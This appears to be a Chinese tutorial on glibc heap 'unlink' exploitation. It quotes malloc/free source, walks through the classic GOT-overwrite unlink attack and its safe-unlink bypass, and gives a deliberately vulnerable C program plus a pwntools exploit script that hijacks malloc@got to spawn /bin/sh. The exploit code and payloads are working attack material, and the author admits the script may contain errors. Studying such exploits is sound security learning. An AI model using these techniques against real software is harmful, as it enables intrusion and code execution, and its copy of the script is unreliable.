知识点:
- free操作会检查前后相邻堆块是否in_use,空闲的话就会进行合并操作
- 空闲的堆块一般以双向链表的形式存在(fastbin是单向链表不适用此种攻击)
- unlink : 如果刚释放的堆块要与前面或者后面的堆块进行合并操作,那么需要把前面或者后面的堆块从双向链表中摘取下来,合成更大的堆块插入到别的bin之中,将空闲堆块从bin里面摘取下来的操作就是unlink
- chunk中的flag标志位 : flag来源 ,size字节需要8字节对齐,就会空余出来3个bit, 其中最低位表示前一个chunk是否在使用,倒数第二位表示这个chunk是否通过mmap的方式产生,第三个表示 该chunk是否属于一个线程的arena
- fd : 指向下一个空闲的chunk,bk指向上一个空闲的chunk
- 下面是一个往前合并的源码 :值得注意的就是free在unlink的时候是先进行backward 然后 forward
/* consolidate backward 往前合并*/ if (!prev_inuse(p)) { //先检查要free chunk的上一个chunk是不是 in_use,不是的话就往下操作 prevsize = prev_size(p); //取p的前一个chunk的size(利用的是p chunk的prev_size) size += prevsize; //free_chunk的size + 上一个chunk的size p = chunk_at_offset(p, -((long)prevsize)); //p指向上一个chunk的开始处 if (__glibc_unlikely(chunksize(p) != prevsize)) //然后这个应该是检查prev_size对不对,利用的是前后改变的chunk的size大小跟prev_size是不是相等 malloc_printerr("corrupted size vs. prev_size while consolidating"); unlink(av, p, bck, fwd); //这个就是我们要利用的地方了,下面有详解 }
- 同时我截取_int_free的一段源码进行解析:
8.最重要的就是合并时候的操作: 看6._int_free(mstate av, mchunkptr p, int have_lock) //这是它的参数 av是指向main_arena , p是指向要free的chunk { if (__builtin_expect((uintptr_t)p > (uintptr_t)-size, 0) //这个是检查pointer是否合法 if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size))) //这个检查chunk的size是否合法 if ((unsigned long)(size) <= (unsigned long)(get_max_fast()) //还要检查是否属于fastbin 因为fastbin free的时候有自己的方式 else if (!chunk_is_mmapped(p)) //上面那个检查通过后直接跳到这里,检查是否是mmap出来的chunk }
9.然后就是unlink了:
10.我们说一下如何利用:#!c /*这个unlink函数实际上是很长的,我下面截取关键部分 /*malloc.c int_free函数中*/ /* consolidate backward */ if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(p, bck, fwd); } /*这一部分前面讲过了*/ //相关函数说明: /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) /*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/ #define unlink(P, BK, FD) { \ FD = P->fd; //我们看这里,此时的P其实指向的当前要free的chunk的前一个chunk了,它还在bin里面,我们首先要把它从bin里面拿出来 BK = P->bk; \ FD->bk = BK; \ BK->fd = FD; //这几部下来就把chunk拿出来了(其实就是拿出来,然后前后连起来) ... //后面又是一顿操作,把合并的chunk给放到新的bin里面 }
- 如果有heap overflow可以覆盖到某一个chunk q 的prev_size. 那么free q 时传入unlink(p)的 p 就可以控制
- 使得chunk p的内容可以被控制
- FD = P -> fd ; BK = P -> bk ; 我们可以使得 PK = P -> fd = free@got.plt - 0x18 (这就是的PK的bk处被写成了free@got.plt) , BK = P -> bk = shellcode ,那么free @got.plt就会被写入成为shellcode
- 但是,BK->fd = FD 那么你之前写入的shellcode的第16个bit开始会被改成 free@got.plt - 0x18 ,针对这个其实我们就可以开头插入一个jmp去跳过它
一个实验用的(这里是32位的,大致跟64位利用相同)
#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
char * first, * second;
/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
if(argc!=1)
/*[3]*/ strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}
在所有的malloc执行完之后:
unlink源码分析:
先后合并(把当前chunk的前一个chunk和当前chunk合并)
#!c /*这个unlink函数实际上是很长的,我下面截取关键部分
/*malloc.c int_free函数中*/
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd);
} /*这一部分前面讲过了*/
//相关函数说明:
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) { \
FD = P->fd; //我们看这里,此时的P其实指向的当前要free的chunk的前一个chunk了,它还在bin里面,我们首先要把它从bin里面拿出来
BK = P->bk;
FD->bk = BK;
BK->fd = FD; //这几部下来就把chunk拿出来了(其实就是拿出来,然后前后连起来)
... //后面又是一顿操作,把合并的chunk给放到新的bin里面
}
malloc第一个chunk的prev_inuse标志一直都是1 虽然它事实上不存在
向前合并(forward) :
检查next chunk是否处于free状态,我们回去检查next next chunk的prev_inuse标志位是否为1,下面是源码:
#!c
……
/*这里p指向当前chunk*/
nextchunk = chunk_at_offset(p, size);
……
nextsize = chunksize(nextchunk);
……
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);//判断nextchunk是否为free chunk
/* consolidate forward */
if (!nextinuse) { //next chunk为free chunk
unlink(nextchunk, bck, fwd); //将nextchunk从链表中移除
size += nextsize; // p还是指向当前chunk只是当前chunk的size扩大了,这就是向前合并!
} else
clear_inuse_bit_at_offset(nextchunk, 0);
……
}
在这个例子中next next chunk 就是top chunk,那么top chunk 的prev_inuse始终为1 ,所以也不会进行向前合并,但是我们可以利用堆溢出伪造,不过,我们还要了解一下合并后或者不满足条件没合并的chunk会怎么办:glibc malloc中会把他们放到unsorted bin之中
#!c
/*
Place the chunk in unsorted chunk list. Chunks are not placed into regular bins until after they have been given one chance to be used in malloc.
*/
bck = unsorted_chunks(av); //获取unsorted bin的第一个chunk
/*
/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */
#define unsorted_chunks(M) (bin_at (M, 1))
*/
fwd = bck->fd;
……
p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;
set_head(p, size | PREV_INUSE);//设置当前chunk的size,并将前一个chunk标记为已使用
set_foot(p, size);//将后一个chunk的prev_size设置为当前chunk的size
/*
/* Set size/use field */
#define set_head(p, s) ((p)->size = (s))
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->prev_size = (s))
*/
上面基本就是说,free后的chunk插入到unsorted chunk的第一个chunk(这个其实是bin)与下一个chunk(这个才是真正可用的第一个chunk)的中间当做表头,然后通过设置自己的size字段来表示前一个chunk可用,然后更改next chunk的prev_size为改chunk的大小,
但是本例中的chunk second没被放入unsort bin,而是放入了fastbin.
下面我们可以精心布置chunk second来实现攻击:
1.我们要修改chunk second 的chunk header
- 任意数
- size = -4 -4 = 11111100 //这个主要是控制prev_inuse 位
- fd = free函数的got表地址-12
- bk = shellcode的地址
这样程序在继续运行得话如果free(first) , 我们要考虑是否合并,首先肯定不会向后合并,那就考虑向后合并,glibc通过chunk second 的size + chunk second 的prev_size 来确定next next chunk,那么现在size是-4,那么现在next_chunk,被当做next next chunk,因为size = -4所以next_chunk被当做free的,然后出发unlink,进行合并操作,
BK=second->bk(在例子中bk实际上是shellcode的地址)
FD=second->fd (在例子中fd实际上是free@got的地址 - 12)
FD->bk=BK
/*shellcode被写进了FD+12的位置,但是FD是free@got的地址-12,所以实际上我们已经把shellcode地址写入了free@got*/
BK->fd=FD
可是新的glibc增加了保护机制防止unlink,但是仍然可以绕过,下面同用于64和32位,但是例子是64位的:
检查源码:
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) //具体就是说在进行unlink操作之前,会先检查当前chunk的prev_chunk的fd和next_chunk的bk是不是当前chunk。
malloc_printerr (check_action, "corrupted double-linked list", P);
FD->bk = BK;
BK->fd = FD;
...
}
overwrite Heap Pointer 利用条件:
- 有一个指针指向heap
- 存放改指针的地址已知(比如改指针是全局变量)
- 可以对改指针多次写入
那么我们就可以构造下面来越过检查:
- p -> fd = &p - 0x18
- p -> bk = &p - 0x10
- 接着源码继续进行 , FD -> bk = BK ; BK - > fd = FD;
- 上述完成后我们得到的结果是 : p = &p - 0x18
引入一个例题(这个例题可以用来解释,但是实际操作的时候呢,程序会因为stdout,stdin,生成chunk 夹在中间,使得程序利用难以实现),不过重要的是思路:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
char *cmd;
void sh(char *c)
{
system(c);
}
int main()
{
char *ptr[8];
int size;
int n;
setvbuf(stdout,0,_IONBF,0);
memset(ptr,0,sizeof(ptr));
cmd = malloc(128); //这里有一个地址已知的全局变量指针,还指向了heap , 而且下面的fgets可以实现对改指针的多次写入
while(1)
{
fgets(cmd,128,stdin);
if(!strncmp(cmd,"add",3))
{
printf("Index: ");
scanf("%d",&n);
if(n>=0 && n<8)
{
printf("Size: ");
scanf("%d%*c",&size);
ptr[n] = malloc(size);
printf("Data: ");
gets(ptr[n]);
}
else
{
puts("out of bound");
}
}
else if(!strncmp(cmd,"renove",6))
{
printf("Index: ");
scanf("%d%*c",&n);
if(n>=0 && n<8 && ptr[n])
{
puts(ptr[n]);
free(ptr[n]);
ptr[n] = 0;
}
else
{
puts("nothing here");
}
}
else
{
puts("unkonw command");
}
}
return 0;
}
下面我们先给出脚本来方便分析
#coding:utf-8
from pwn import *
context.log_level = "debug"
r = remote('0.0.0.0',4000)
#r = process('./unlink2')
elf = ELF('unlink3')
malloc_got = elf.got['malloc']
sh_addr = 0x0000000004008A9
def malloc(idx,size,data):
r.sendline('add' + '0'*5 + p64(0x100) + p64(0x0000000006010B0-0x18)+p64(0x0000000006010B0-0x10)) 3这里就在于构造FD的fd 和 bk 用于躲过检查
r.sendline(str(idx))
r.sendline(str(size))
r.sendline(str(data))
def free(idx):
r.sendline('renove')
r.sendline(str(idx))
malloc(0,130,'aaaaaaaa')
malloc(1,130,'bbbbbbbb')
free(0)
malloc(2,130, 0x80 * 'a' + p64(0x1120) + p64(0x90)) #利用heap overflow 改变下一个chunk的prev_size 和 size
free(1) #之后&cmd = 0x0000000006010B0 - 0x18 ,这里要注意的是不是free(2),因为上一步改了size位,所以2相当于还是free着呢,所以free(2),会触碰double free检查
payload1 = 'a' * 0x18 + p64(malloc_got) //这是的cmd指针 已经被修改了 , 我们通过fget 可以使得cmd 再次被改为 malloc@got.plt
r.sendline(payload1)
payload2 = p64(sh_addr) + ';/bin/sh\x00' //这里就是构造sh函数 , 可能参数写错了
r.sendline(payload2)
r.interactive()